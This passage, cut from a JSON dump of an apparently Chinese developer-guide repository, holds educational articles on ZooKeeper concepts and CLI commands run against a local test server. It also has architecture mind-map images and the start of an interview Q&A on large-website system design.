操作系统或计算机网络用语范畴。是由若干条指令组成的，用于完成一定功能的一个过程。具有不可分割性·即原语的执行必须是连续的，在执行过程中不允许被中断。\n\n**ZooKeeper 是一个典型的分布式数据一致性解决方案，分布式应用程序可以基于 ZooKeeper 实现诸如数据发布/订阅、负载均衡、命名服务、分布式协调/通知、集群管理、Master 选举、分布式锁和分布式队列等功能。**\n\n**Zookeeper 一个最常用的使用场景就是用于担任服务生产者和服务消费者的注册中心(提供发布订阅服务)。** 服务生产者将自己提供的服务注册到Zookeeper中心，服务的消费者在进行服务调用的时候先到Zookeeper中查找服务，获取到服务生产者的详细信息之后，再去调用服务生产者的内容与数据。如下图所示，在 Dubbo架构中 Zookeeper 就担任了注册中心这一角色。\n\n![Dubbo](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-10/35571782.jpg)\n\n### 1.2 结合个人使用情况的讲一下 ZooKeeper\n\n在我自己做过的项目中，主要使用到了 ZooKeeper 作为 Dubbo 的注册中心(Dubbo 官方推荐使用 ZooKeeper注册中心)。另外在搭建 solr 集群的时候，我使用  ZooKeeper 作为 solr 集群的管理工具。这时，ZooKeeper 主要提供下面几个功能：1、集群管理：容错、负载均衡。2、配置文件的集中管理3、集群的入口。\n\n\n我个人觉得在使用 ZooKeeper 的时候，最好是使用 集群版的 ZooKeeper 而不是单机版的。官网给出的架构图就描述的是一个集群版的 ZooKeeper 。通常 3 台服务器就可以构成一个  ZooKeeper  集群了。\n\n**为什么最好使用奇数台服务器构成 ZooKeeper 集群？**\n\n所谓的zookeeper容错是指，当宕掉几个zookeeper服务器之后，剩下的个数必须大于宕掉的个数的话整个zookeeper才依然可用。假如我们的集群中有n台zookeeper服务器，那么也就是剩下的服务数必须大于n/2。先说一下结论，2n和2n-1的容忍度是一样的，都是n-1，大家可以先自己仔细想一想，这应该是一个很简单的数学问题了。\n比如假如我们有3台，那么最大允许宕掉1台zookeeper服务器，如果我们有4台的的时候也同样只允许宕掉1台。\n假如我们有5台，那么最大允许宕掉2台zookeeper服务器，如果我们有6台的的时候也同样只允许宕掉2台。\n\n综上，何必增加那一个不必要的zookeeper呢？\n\n\n\n## 二 关于 ZooKeeper  的一些重要概念\n\n### 2.1 重要概念总结\n\n- **ZooKeeper  本身就是一个分布式程序（只要半数以上节点存活，ZooKeeper  就能正常服务）。**\n- **为了保证高可用，最好是以集群形态来部署 ZooKeeper，这样只要集群中大部分机器是可用的（能够容忍一定的机器故障），那么 ZooKeeper 本身仍然是可用的。**\n- **ZooKeeper  将数据保存在内存中，这也就保证了 高吞吐量和低延迟**（但是内存限制了能够存储的容量不太大，此限制也是保持znode中存储的数据量较小的进一步原因）。\n- **ZooKeeper 是高性能的。 在“读”多于“写”的应用程序中尤其地高性能，因为“写”会导致所有的服务器间同步状态。**（“读”多于“写”是协调服务的典型场景。）\n- **ZooKeeper有临时节点的概念。 当创建临时节点的客户端会话一直保持活动，瞬时节点就一直存在。而当会话终结时，瞬时节点被删除。持久节点是指一旦这个ZNode被创建了，除非主动进行ZNode的移除操作，否则这个ZNode将一直保存在Zookeeper上。**\n- ZooKeeper 底层其实只提供了两个功能：①管理（存储、读取）用户程序提交的数据；②为用户程序提供数据节点监听服务。\n\n**下面关于会话（Session）、 Znode、版本、Watcher、ACL概念的总结都在《从Paxos到Zookeeper 》第四章第一节以及第七章第八节有提到，感兴趣的可以看看！**\n\n### 2.2 会话（Session）\n\nSession 指的是 ZooKeeper  服务器与客户端会话。**在 ZooKeeper 中，一个客户端连接是指客户端和服务器之间的一个 TCP 长连接**。客户端启动的时候，首先会与服务器建立一个 TCP 连接，从第一次连接建立开始，客户端会话的生命周期也开始了。**通过这个连接，客户端能够通过心跳检测与服务器保持有效的会话，也能够向Zookeeper服务器发送请求并接受响应，同时还能够通过该连接接收来自服务器的Watch事件通知。** Session的`sessionTimeout`值用来设置一个客户端会话的超时时间。当由于服务器压力太大、网络故障或是客户端主动断开连接等各种原因导致客户端连接断开时，**只要在`sessionTimeout`规定的时间内能够重新连接上集群中任意一台服务器，那么之前创建的会话仍然有效。**\n\n**在为客户端创建会话之前，服务端首先会为每个客户端都分配一个sessionID。由于 sessionID 是 Zookeeper 会话的一个重要标识，许多与会话相关的运行机制都是基于这个 sessionID 的，因此，无论是哪台服务器为客户端分配的 sessionID，都务必保证全局唯一。**\n\n### 2.3 Znode\n\n**在谈到分布式的时候，我们通常说的“节点\"是指组成集群的每一台机器。然而，在Zookeeper中，“节点\"分为两类，第一类同样是指构成集群的机器，我们称之为机器节点；第二类则是指数据模型中的数据单元，我们称之为数据节点一一ZNode。**\n\nZookeeper将所有数据存储在内存中，数据模型是一棵树（Znode Tree)，由斜杠（/）的进行分割的路径，就是一个Znode，例如/foo/path1。每个上都会保存自己的数据内容，同时还会保存一系列属性信息。\n\n**在Zookeeper中，node可以分为持久节点和临时节点两类。所谓持久节点是指一旦这个ZNode被创建了，除非主动进行ZNode的移除操作，否则这个ZNode将一直保存在Zookeeper上。而临时节点就不一样了，它的生命周期和客户端会话绑定，一旦客户端会话失效，那么这个客户端创建的所有临时节点都会被移除。** 另外，ZooKeeper还允许用户为每个节点添加一个特殊的属性：**SEQUENTIAL**.一旦节点被标记上这个属性，那么在这个节点被创建的时候，Zookeeper会自动在其节点名后面追加上一个整型数字，这个整型数字是一个由父节点维护的自增数字。\n\n### 2.4 版本\n\n在前面我们已经提到，Zookeeper 的每个 ZNode 上都会存储数据，对应于每个ZNode，Zookeeper 都会为其维护一个叫作 **Stat** 的数据结构，Stat 中记录了这个 ZNode 的三个数据版本，分别是version（当前ZNode的版本）、cversion（当前ZNode子节点的版本）和 aversion（当前ZNode的ACL版本）。\n\n\n### 2.5 Watcher\n\n**Watcher（事件监听器），是Zookeeper中的一个很重要的特性。Zookeeper允许用户在指定节点上注册一些Watcher，并且在一些特定事件触发的时候，ZooKeeper服务端会将事件通知到感兴趣的客户端上去，该机制是Zookeeper实现分布式协调服务的重要特性。**\n\n### 2.6 ACL\n\nZookeeper采用ACL（AccessControlLists）策略来进行权限控制，类似于 UNIX 文件系统的权限控制。Zookeeper 定义了如下5种权限。\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-10/27473480.jpg)\n\n其中尤其需要注意的是，CREATE和DELETE这两种权限都是针对子节点的权限控制。\n\n## 三 ZooKeeper 特点\n\n- **顺序一致性：** 从同一客户端发起的事务请求，最终将会严格地按照顺序被应用到 ZooKeeper 中去。\n- **原子性：** 所有事务请求的处理结果在整个集群中所有机器上的应用情况是一致的，也就是说，要么整个集群中所有的机器都成功应用了某一个事务，要么都没有应用。\n- **单一系统映像 ：** 无论客户端连到哪一个 ZooKeeper 服务器上，其看到的服务端数据模型都是一致的。\n- **可靠性：** 一旦一次更改请求被应用，更改的结果就会被持久化，直到被下一次更改覆盖。\n\n## 四 ZooKeeper 设计目标\n\n### 4.1 简单的数据模型\n\nZooKeeper 允许分布式进程通过共享的层次结构命名空间进行相互协调，这与标准文件系统类似。 名称空间由 ZooKeeper 中的数据寄存器组成 - 称为znode，这些类似于文件和目录。 与为存储设计的典型文件系统不同，ZooKeeper数据保存在内存中，这意味着ZooKeeper可以实现高吞吐量和低延迟。\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-10/94251757.jpg)\n\n### 4.2 可构建集群\n\n**为了保证高可用，最好是以集群形态来部署 ZooKeeper，这样只要集群中大部分机器是可用的（能够容忍一定的机器故障），那么zookeeper本身仍然是可用的。** 客户端在使用 ZooKeeper 时，需要知道集群机器列表，通过与集群中的某一台机器建立 TCP 连接来使用服务，客户端使用这个TCP链接来发送请求、获取结果、获取监听事件以及发送心跳包。如果这个连接异常断开了，客户端可以连接到另外的机器上。\n\n**ZooKeeper 官方提供的架构图：**\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-10/68900686.jpg)\n\n上图中每一个Server代表一个安装Zookeeper服务的服务器。组成 ZooKeeper 服务的服务器都会在内存中维护当前的服务器状态，并且每台服务器之间都互相保持着通信。集群间通过 Zab 协议（Zookeeper Atomic Broadcast）来保持数据的一致性。\n\n### 4.3 顺序访问\n\n**对于来自客户端的每个更新请求，ZooKeeper 都会分配一个全局唯一的递增编号，这个编号反应了所有事务操作的先后顺序，应用程序可以使用 ZooKeeper 这个特性来实现更高层次的同步原语。** **这个编号也叫做时间戳——zxid（Zookeeper Transaction Id）**\n\n### 4.4 高性能\n\n**ZooKeeper 是高性能的。 在“读”多于“写”的应用程序中尤其地高性能，因为“写”会导致所有的服务器间同步状态。（“读”多于“写”是协调服务的典型场景。）**\n\n## 五 ZooKeeper 集群角色介绍\n\n**最典型集群模式： Master/Slave 模式（主备模式）**。在这种模式中，通常 Master服务器作为主服务器提供写服务，其他的 Slave 服务器从服务器通过异步复制的方式获取 Master 服务器最新的数据提供读服务。\n\n但是，**在 ZooKeeper 中没有选择传统的  Master/Slave 概念，而是引入了Leader、Follower 和 Observer 三种角色**。如下图所示\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-10/89602762.jpg)\n\n **ZooKeeper 集群中的所有机器通过一个 Leader 选举过程来选定一台称为 “Leader” 的机器，Leader 既可以为客户端提供写服务又能提供读服务。除了 Leader 外，Follower 和  Observer 都只能提供读服务。Follower 和  Observer 唯一的区别在于 Observer 机器不参与 Leader 的选举过程，也不参与写操作的“过半写成功”策略，因此 Observer 机器可以在不影响写性能的情况下提升集群的读性能。**\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-13/91622395.jpg)\n\n**当 Leader 服务器出现网络中断、崩溃退出与重启等异常情况时，ZAB 协议就会进人恢复模式并选举产生新的Leader服务器。这个过程大致是这样的：**\n\n1. Leader election（选举阶段）：节点在一开始都处于选举阶段，只要有一个节点得到超半数节点的票数，它就可以当选准 leader。\n2. Discovery（发现阶段）：在这个阶段，followers 跟准 leader 进行通信，同步 followers 最近接收的事务提议。\n3. Synchronization（同步阶段）:同步阶段主要是利用 leader 前一阶段获得的最新提议历史，同步集群中所有的副本。同步完成之后\n准 leader 才会成为真正的 leader。\n4. Broadcast（广播阶段）\n到了这个阶段，Zookeeper 集群才能正式对外提供事务服务，并且 leader 可以进行消息广播。同时如果有新的节点加入，还需要对新节点进行同步。\n\n## 六 ZooKeeper &ZAB 协议&Paxos算法\n\n### 6.1 ZAB 协议&Paxos算法\n\nPaxos 算法应该可以说是  ZooKeeper 的灵魂了。但是，ZooKeeper 并没有完全采用 Paxos算法 ，而是使用 ZAB 协议作为其保证数据一致性的核心算法。另外，在ZooKeeper的官方文档中也指出，ZAB协议并不像 Paxos 算法那样，是一种通用的分布式一致性算法，它是一种特别为Zookeeper设计的崩溃可恢复的原子消息广播算法。\n\n### 6.2 ZAB 协议介绍\n\n**ZAB（ZooKeeper Atomic Broadcast 原子广播） 协议是为分布式协调服务 ZooKeeper 专门设计的一种支持崩溃恢复的原子广播协议。 在 ZooKeeper 中，主要依赖 ZAB 协议来实现分布式数据一致性，基于该协议，ZooKeeper 实现了一种主备模式的系统架构来保持集群中各个副本之间的数据一致性。**\n\n### 6.3 ZAB 协议两种基本的模式：崩溃恢复和消息广播\n\nZAB协议包括两种基本的模式，分别是 **崩溃恢复和消息广播**。当整个服务框架在启动过程中，或是当 Leader 服务器出现网络中断、崩溃退出与重启等异常情况时，ZAB 协议就会进人恢复模式并选举产生新的Leader服务器。当选举产生了新的 Leader 服务器，同时集群中已经有过半的机器与该Leader服务器完成了状态同步之后，ZAB协议就会退出恢复模式。其中，**所谓的状态同步是指数据同步，用来保证集群中存在过半的机器能够和Leader服务器的数据状态保持一致**。\n\n**当集群中已经有过半的Follower服务器完成了和Leader服务器的状态同步，那么整个服务框架就可以进人消息广播模式了。** 当一台同样遵守ZAB协议的服务器启动后加人到集群中时，如果此时集群中已经存在一个Leader服务器在负责进行消息广播，那么新加人的服务器就会自觉地进人数据恢复模式：找到Leader所在的服务器，并与其进行数据同步，然后一起参与到消息广播流程中去。正如上文介绍中所说的，ZooKeeper设计成只允许唯一的一个Leader服务器来进行事务请求的处理。Leader服务器在接收到客户端的事务请求后，会生成对应的事务提案并发起一轮广播协议；而如果集群中的其他机器接收到客户端的事务请求，那么这些非Leader服务器会首先将这个事务请求转发给Leader服务器。\n\n关于 **ZAB 协议&Paxos算法** 需要讲和理解的东西太多了，说实话，笔主到现在不太清楚这俩兄弟的具体原理和实现过程。推荐阅读下面两篇文章：\n\n-  [图解 Paxos 一致性协议](http://blog.xiaohansong.com/2016/09/30/Paxos/)\n-  [Zookeeper ZAB 协议分析](http://blog.xiaohansong.com/2016/08/25/zab/)\n\n关于如何使用 zookeeper 实现分布式锁，可以查看下面这篇文章：\n\n- \t\n[10分钟看懂！基于Zookeeper的分布式锁](https://blog.csdn.net/qiangcuo6087/article/details/79067136)\n\n## 六 总结\n\n通过阅读本文，想必大家已从 **①ZooKeeper的由来。** -> **②ZooKeeper 到底是什么 。**-> **③ ZooKeeper 的一些重要概念**（会话（Session）、 Znode、版本、Watcher、ACL）-> **④ZooKeeper 的特点。** -> **⑤ZooKeeper 的设计目标。**-> **⑥ ZooKeeper 集群角色介绍** （Leader、Follower 和 Observer 三种角色）-> **⑦ZooKeeper &ZAB 协议&Paxos算法。** 这七点了解了 ZooKeeper 。\n\n## 参考\n\n- 《从Paxos到Zookeeper 》\n- https://cwiki.apache.org/confluence/display/ZOOKEEPER/ProjectDescription\n- https://cwiki.apache.org/confluence/display/ZOOKEEPER/Index\n- https://www.cnblogs.com/raphael5200/p/5285583.html\n- https://zhuanlan.zhihu.com/p/30024403\n\n"
  },
  {
    "path": "docs/system-design/framework/ZooKeeper数据模型和常见命令.md",
    "content": "<!-- MarkdownTOC -->\n\n- [ZooKeeper 数据模型](#zookeeper-数据模型)\n- [ZNode\\(数据节点\\)的结构](#znode数据节点的结构)\n- [测试 ZooKeeper 中的常见操作](#测试-zookeeper-中的常见操作)\n  - [连接 ZooKeeper 服务](#连接-zookeeper-服务)\n  - [查看常用命令\\(help 命令\\)](#查看常用命令help-命令)\n  - [创建节点\\(create 命令\\)](#创建节点create-命令)\n  - [更新节点数据内容\\(set 命令\\)](#更新节点数据内容set-命令)\n  - [获取节点的数据\\(get 命令\\)](#获取节点的数据get-命令)\n  - [查看某个目录下的子节点\\(ls 命令\\)](#查看某个目录下的子节点ls-命令)\n  - [查看节点状态\\(stat 命令\\)](#查看节点状态stat-命令)\n  - [查看节点信息和状态\\(ls2 命令\\)](#查看节点信息和状态ls2-命令)\n  - [删除节点\\(delete 命令\\)](#删除节点delete-命令)\n- [参考](#参考)\n\n<!-- /MarkdownTOC -->\n\n> 看本文之前如果你没有安装 ZooKeeper 的话，可以参考这篇文章：[《使用 SpringBoot+Dubbo 搭建一个简单分布式服务》](https://github.com/Snailclimb/springboot-integration-examples/blob/master/md/springboot-dubbo.md) 的 “开始实战 1 ：zookeeper 环境安装搭建” 这部分进行安装（Centos7.4 环境下）。如果你想对 ZooKeeper 有一个整体了解的话，可以参考这篇文章：[《可能是把 ZooKeeper 概念讲的最清楚的一篇文章》](https://github.com/Snailclimb/JavaGuide/blob/master/%E4%B8%BB%E6%B5%81%E6%A1%86%E6%9E%B6/ZooKeeper.md)\n\n### ZooKeeper 数据模型\n\nZNode（数据节点）是 ZooKeeper 中数据的最小单元，每个ZNode上都可以保存数据，同时还是可以有子节点（这就像树结构一样，如下图所示）。可以看出，节点路径标识方式和Unix文件\n系统路径非常相似，都是由一系列使用斜杠\"/\"进行分割的路径表示，开发人员可以向这个节点中写人数据，也可以在节点下面创建子节点。这些操作我们后面都会介绍到。\n![ZooKeeper 数据模型](https://images.gitbook.cn/95a192b0-1c56-11e9-9a8e-f3b01b1ea9aa)\n\n提到 ZooKeeper 数据模型，还有一个不得不得提的东西就是 **事务 ID** 。事务的ACID（Atomic：原子性；Consistency:一致性；Isolation：隔离性；Durability：持久性）四大特性我在这里就不多说了，相信大家也已经挺腻了。\n\n在Zookeeper中，事务是指能够改变 ZooKeeper 服务器状态的操作，我们也称之为事务操作或更新操作，一般包括数据节点创建与删除、数据节点内容更新和客户端会话创建与失效等操作。对于每一个事务请求，**ZooKeeper 都会为其分配一个全局唯一的事务ID,用 ZXID 来表示**，通常是一个64位的数字。每一个ZXID对应一次更新操作，**从这些 ZXID 中可以间接地识别出Zookeeper处理这些更新操作请求的全局顺序**。\n\n\n\n### ZNode(数据节点)的结构\n\n每个 ZNode 由2部分组成:\n\n- stat：状态信息\n- data：数据内容\n\n如下所示，我通过 get 命令来获取 根目录下的 dubbo 节点的内容。（get 命令在下面会介绍到）\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 6] get /dubbo    \n# 该数据节点关联的数据内容为空\nnull\n# 下面是该数据节点的一些状态信息，其实就是 Stat 对象的格式化输出\ncZxid = 0x2\nctime = Tue Nov 27 11:05:34 CST 2018\nmZxid = 0x2\nmtime = Tue Nov 27 11:05:34 CST 2018\npZxid = 0x3\ncversion = 1\ndataVersion = 0\naclVersion = 0\nephemeralOwner = 0x0\ndataLength = 0\nnumChildren = 1\n\n```\n这些状态信息其实就是 Stat 对象的格式化输出。Stat 类中包含了一个数据节点的所有状态信息的字段，包括事务ID、版本信息和子节点个数等，如下图所示（图源：《从Paxos到Zookeeper  分布式一致性原理与实践》，下面会介绍通过 stat 命令查看数据节点的状态）。\n\n**Stat 类：**\n\n![Stat 类](https://images.gitbook.cn/a841e740-1c55-11e9-b5b7-abf0ec0c666a)\n\n关于数据节点的状态信息说明（也就是对Stat 类中的各字段进行说明），可以参考下图（图源：《从Paxos到Zookeeper  分布式一致性原理与实践》）。\n\n![数据节点的状态信息说明](https://images.gitbook.cn/f44d8630-1c55-11e9-b5b7-abf0ec0c666a)\n\n### 测试 ZooKeeper 中的常见操作\n\n\n#### 连接 ZooKeeper 服务\n\n进入安装 ZooKeeper文件夹的 bin 目录下执行下面的命令连接 ZooKeeper 服务（Linux环境下）（连接之前首选要确定你的 ZooKeeper 服务已经启动成功）。\n\n```shell\n./zkCli.sh -server 127.0.0.1:2181\n```\n![连接 ZooKeeper 服务](https://images.gitbook.cn/153b84c0-1c59-11e9-9a8e-f3b01b1ea9aa)\n\n从上图可以看出控制台打印出了很多信息，包括我们的主机名称、JDK 版本、操作系统等等。如果你成功看到这些信息，说明你成功连接到  ZooKeeper 服务。\n\n#### 查看常用命令(help 命令)\n\nhelp 命令查看 zookeeper 常用命令\n\n![help 命令](https://images.gitbook.cn/091db640-1c59-11e9-b5b7-abf0ec0c666a)\n\n####  创建节点(create 命令)\n\n通过 create 命令在根目录创建了node1节点，与它关联的字符串是\"node1\"\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 34] create /node1 “node1”\n```\n通过 create 命令在根目录创建了node1节点，与它关联的内容是数字 123\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 1] create /node1/node1.1 123\nCreated /node1/node1.1\n```\n\n#### 更新节点数据内容(set 命令)\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 11] set /node1 \"set node1\" \n```\n\n#### 获取节点的数据(get 命令)\n\nget 命令可以获取指定节点的数据内容和节点的状态,可以看出我们通过set 命令已经将节点数据内容改为 \"set node1\"。\n\n```shell\nset node1\ncZxid = 0x47\nctime = Sun Jan 20 10:22:59 CST 2019\nmZxid = 0x4b\nmtime = Sun Jan 20 10:41:10 CST 2019\npZxid = 0x4a\ncversion = 1\ndataVersion = 1\naclVersion = 0\nephemeralOwner = 0x0\ndataLength = 9\nnumChildren = 1\n\n```\n\n#### 查看某个目录下的子节点(ls 命令)\n\n通过 ls 命令查看根目录下的节点\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 37] ls /\n[dubbo, zookeeper, node1]\n```\n通过 ls 命令查看 node1 目录下的节点\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 5] ls /node1\n[node1.1]\n```\nzookeeper 中的 ls 命令和 linux 命令中的 ls 类似， 这个命令将列出绝对路径path下的所有子节点信息（列出1级，并不递归）\n\n#### 查看节点状态(stat 命令)\n\n通过 stat 命令查看节点状态\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 10] stat /node1\ncZxid = 0x47\nctime = Sun Jan 20 10:22:59 CST 2019\nmZxid = 0x47\nmtime = Sun Jan 20 10:22:59 CST 2019\npZxid = 0x4a\ncversion = 1\ndataVersion = 0\naclVersion = 0\nephemeralOwner = 0x0\ndataLength = 11\nnumChildren = 1\n```\n上面显示的一些信息比如cversion、aclVersion、numChildren等等，我在上面 “ZNode(数据节点)的结构” 这部分已经介绍到。\n\n#### 查看节点信息和状态(ls2 命令)\n\n\nls2 命令更像是 ls 命令和 stat 命令的结合。ls2 命令返回的信息包括2部分：子节点列表 + 当前节点的stat信息。\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 7] ls2 /node1\n[node1.1]\ncZxid = 0x47\nctime = Sun Jan 20 10:22:59 CST 2019\nmZxid = 0x47\nmtime = Sun Jan 20 10:22:59 CST 2019\npZxid = 0x4a\ncversion = 1\ndataVersion = 0\naclVersion = 0\nephemeralOwner = 0x0\ndataLength = 11\nnumChildren = 1\n\n```\n\n#### 删除节点(delete 命令)\n\n这个命令很简单，但是需要注意的一点是如果你要删除某一个节点，那么这个节点必须无子节点才行。\n\n```shell\n[zk: 127.0.0.1:2181(CONNECTED) 3] delete /node1/node1.1\n```\n\n在后面我会介绍到 Java 客户端 API的使用以及开源 Zookeeper 客户端 ZkClient 和 Curator 的使用。\n\n\n### 参考\n\n- 《从Paxos到Zookeeper  分布式一致性原理与实践》\n\n"
  },
  {
    "path": "docs/system-design/website-architecture/8 张图读懂大型网站技术架构.md",
    "content": "> 本文是作者读 《大型网站技术架构》所做的思维导图，在这里分享给各位，公众号(JavaGuide)后台回复：“架构”。即可获得下面图片的源文件以及思维导图源文件！\n\n<!-- MarkdownTOC -->\n\n- [1. 大型网站架构演化](#1-大型网站架构演化)\n- [2. 大型架构模式](#2-大型架构模式)\n- [3. 大型网站核心架构要素](#3-大型网站核心架构要素)\n- [4. 瞬时响应:网站的高性能架构](#4-瞬时响应网站的高性能架构)\n- [5. 万无一失:网站的高可用架构](#5-万无一失网站的高可用架构)\n- [6. 永无止境:网站的伸缩性架构](#6-永无止境网站的伸缩性架构)\n- [7. 随机应变:网站的可扩展性架构](#7-随机应变网站的可扩展性架构)\n- [8. 固若金汤:网站的安全机构](#8-固若金汤网站的安全机构)\n\n<!-- /MarkdownTOC -->\n\n\n### 1. 大型网站架构演化\n\n![1. 大型网站架构演化](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/1%20%E5%A4%A7%E5%9E%8B%E7%BD%91%E7%AB%99%E6%9E%B6%E6%9E%84%E6%BC%94%E5%8C%96.png)\n\n### 2. 大型架构模式\n\n![2. 大型架构模式](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2%20%E5%A4%A7%E5%9E%8B%E6%9E%B6%E6%9E%84%E6%A8%A1%E5%BC%8F.png)\n\n### 3. 大型网站核心架构要素\n\n![3. 大型网站核心架构要素](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/3%20%E5%A4%A7%E5%9E%8B%E7%BD%91%E7%AB%99%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84%E8%A6%81%E7%B4%A0.png)\n\n### 4. 瞬时响应:网站的高性能架构\n\n![4. 瞬时响应:网站的高性能架构](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/4%20%E7%9E%AC%E6%97%B6%E5%93%8D%E5%BA%94%EF%BC%9A%E7%BD%91%E7%AB%99%E7%9A%84%E9%AB%98%E6%80%A7%E8%83%BD%E6%9E%B6%E6%9E%84.png)\n\n### 5. 万无一失:网站的高可用架构\n\n![5. 万无一失:网站的高可用架构](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/5%20%E4%B8%87%E6%97%A0%E4%B8%80%E5%A4%B1%EF%BC%9A%E7%BD%91%E7%AB%99%E7%9A%84%E9%AB%98%E5%8F%AF%E7%94%A8%E6%9E%B6%E6%9E%84.png)\n\n### 6. 永无止境:网站的伸缩性架构\n\n![6. 永无止境:网站的伸缩性架构](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/6%20%E6%B0%B8%E6%97%A0%E6%AD%A2%E5%A2%83%EF%BC%9A%E7%BD%91%E7%AB%99%E7%9A%84%E4%BC%B8%E7%BC%A9%E6%80%A7%E6%9E%B6%E6%9E%84.png)\n\n### 7. 随机应变:网站的可扩展性架构\n\n![7. 随机应变:网站的可扩展性架构](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/7%20%E9%9A%8F%E6%9C%BA%E5%BA%94%E5%8F%98%EF%BC%9A%E7%BD%91%E7%AB%99%E7%9A%84%E5%8F%AF%E6%89%A9%E5%B1%95%E6%9E%B6%E6%9E%84.png)\n\n### 8. 固若金汤:网站的安全机构\n\n![enter image description here](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/8%20%E5%9B%BA%E8%8B%A5%E9%87%91%E6%B1%A4%EF%BC%9A%E7%BD%91%E7%AB%99%E7%9A%84%E5%AE%89%E5%85%A8%E6%9E%B6%E6%9E%84.png)\n"
  },
  {
    "path": "docs/system-design/website-architecture/【面试精选】关于大型网站系统架构你不得不懂的10个问题.md",
    "content": "下面这些问题都是一线大厂的真实面试问题，不论是对你面试还是说拓宽知识面都很有帮助。之前发过一篇[8 张图读懂大型网站技术架构](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484416&idx=1&sn=6ced00d65491ef8fd33151bdfa8895c9&chksm=fd985261caefdb779412974a6a7207c93d0c2da5b28489afb74acd2fee28505daebbadb018ff&token=177958022&lang=zh_CN#rd) 可以作为不太了解大型网站系统技术架构朋友的入门文章。\n\n<!-- MarkdownTOC -->\n\n- [1. 你使用过哪些组件或者方法来提升网站性能,可用性以及并发量](#1-你使用过哪些组件或者方法来提升网站性能可用性以及并发量)\n- [2. 设计高可用系统的常用手段](#2-设计高可用系统的常用手段)\n- [3. 现代互联网应用系统通常具有哪些特点?](#3-现代互联网应用系统通常具有哪些特点)\n- [4. 谈谈你对微服务领域的了解和认识](#4-谈谈你对微服务领域的了解和认识)\n- [5. 谈谈你对 Dubbo 和 Spring Cloud 的认识\\(两者关系\\)](#5-谈谈你对-dubbo-和-spring-cloud-的认识两者关系)\n- [6. 性能测试了解吗?说说你知道的性能测试工具?](#6-性能测试了解吗说说你知道的性能测试工具)\n- [7. 对于一个单体应用系统,随着产品使用的用户越来越多,网站的流量会增加,最终单台服务器无法处理那么大的流量怎么办?](#7-对于一个单体应用系统随着产品使用的用户越来越多网站的流量会增加最终单台服务器无法处理那么大的流量怎么办)\n- [8. 大表优化的常见手段](#8-大表优化的常见手段)\n- [9. 在系统中使用消息队列能带来什么好处?](#9-在系统中使用消息队列能带来什么好处)\n  - [1) 通过异步处理提高系统性能](#1-通过异步处理提高系统性能)\n- [2) 降低系统耦合性](#2-降低系统耦合性)\n- [10. 说说自己对 CAP 定理,BASE 理论的了解](#10-说说自己对-cap-定理base-理论的了解)\n  - [CAP 定理](#cap-定理)\n  - [BASE 理论](#base-理论)\n- [参考](#参考)\n\n<!-- /MarkdownTOC -->\n\n\n### 1. 你使用过哪些组件或者方法来提升网站性能,可用性以及并发量\n\n1. **提高硬件能力、增加系统服务器**。（当服务器增加到某个程度的时候系统所能提供的并发访问量几乎不变，所以不能根本解决问题）\n2. **使用缓存**（本地缓存：本地可以使用JDK自带的 Map、Guava Cache.分布式缓存：Redis、Memcache.本地缓存不适用于提高系统并发量，一般是用处用在程序中。比如Spring是如何实现单例的呢？大家如果看过源码的话，应该知道，S把已经初始过的变量放在一个Map中，下次再要使用这个变量的时候，先判断Map中有没有，这也就是系统中常见的单例模式的实现。）\n3. **消息队列** （解耦+削峰+异步）\n4. **采用分布式开发** （不同的服务部署在不同的机器节点上，并且一个服务也可以部署在多台机器上，然后利用 Nginx 负载均衡访问。这样就解决了单点部署(All In)的缺点，大大提高的系统并发量）\n5. **数据库分库（读写分离）、分表（水平分表、垂直分表）**\n6. **采用集群** （多台机器提供相同的服务）\n7. **CDN 加速** (将一些静态资源比如图片、视频等等缓存到离用户最近的网络节点)\n8. **浏览器缓存**\n9. **使用合适的连接池**（数据库连接池、线程池等等）\n10. **适当使用多线程进行开发。**\n\n\n### 2. 设计高可用系统的常用手段\n\n1. **降级：** 服务降级是当服务器压力剧增的情况下，根据当前业务情况及流量对一些服务和页面有策略的降级，以此释放服务器资源以保证核心任务的正常运行。降级往往会指定不同的级别，面临不同的异常等级执行不同的处理。根据服务方式：可以拒接服务，可以延迟服务，也有时候可以随机服务。根据服务范围：可以砍掉某个功能，也可以砍掉某些模块。总之服务降级需要根据不同的业务需求采用不同的降级策略。主要的目的就是服务虽然有损但是总比没有好；\n2. **限流：** 防止恶意请求流量、恶意攻击，或者防止流量超出系统峰值；\n3. **缓存：** 避免大量请求直接落到数据库，将数据库击垮；\n4. **超时和重试机制：** 避免请求堆积造成雪崩；\n5. **回滚机制：** 快速修复错误版本。\n\n\n### 3. 现代互联网应用系统通常具有哪些特点?\n\n1. 高并发，大流量；\n2. 高可用：系统7×24小时不间断服务；\n3. 海量数据：需要存储、管理海量数据，需要使用大量服务器；\n4. 用户分布广泛，网络情况复杂：许多大型互联网都是为全球用户提供服务的，用户分布范围广，各地网络情况千差万别；\n5. 安全环境恶劣：由于互联网的开放性，使得互联网更容易受到攻击，大型网站几乎每天都会被黑客攻击；\n6. 需求快速变更，发布频繁：和传统软件的版本发布频率不同，互联网产品为快速适应市场，满足用户需求，其产品发布频率是极高的；\n7. 